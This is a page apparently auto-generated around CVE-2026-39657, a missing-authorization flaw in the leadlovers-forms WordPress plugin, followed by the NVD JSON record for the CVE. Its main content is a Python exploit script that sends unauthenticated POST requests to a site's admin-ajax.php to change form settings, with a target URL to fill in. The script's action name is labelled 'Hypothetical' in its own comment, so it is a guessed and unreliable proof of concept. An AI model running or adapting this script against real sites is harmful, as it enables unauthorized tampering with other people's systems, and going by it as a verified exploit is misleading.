CVE-2026-39657

import requests # Exploit Title: leadlovers-forms < 1.0.2 - Missing Authorization (Unauthenticated) # CVE: CVE-2026-39657 def exploit(target_url): """ Attempts to exploit the missing authorization vulnerability. This script sends a request to a vulnerable endpoint without authentication. """ # Example endpoint (adjust based on actual plugin routes discovered during analysis) # Typically plugins use /wp-admin/admin-ajax.php or REST API endpoints endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload to modify form settings or perform restricted action payload = { "action": "leadlovers_update_form_settings", # Hypothetical action name "form_id": "1", "setting_value": "malicious_config" } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if settings were modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example-site.com" # Replace with target exploit(target)

{"cve": {"id": "CVE-2026-39657", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:36.840", "lastModified": "2026-04-29T10:17:36.990", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in leadlovers leadlovers forms leadlovers-forms allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects leadlovers forms: from n/a through <= 1.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/leadlovers-forms/vulnerability/wordpress-leadlovers-forms-plugin-1-0-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}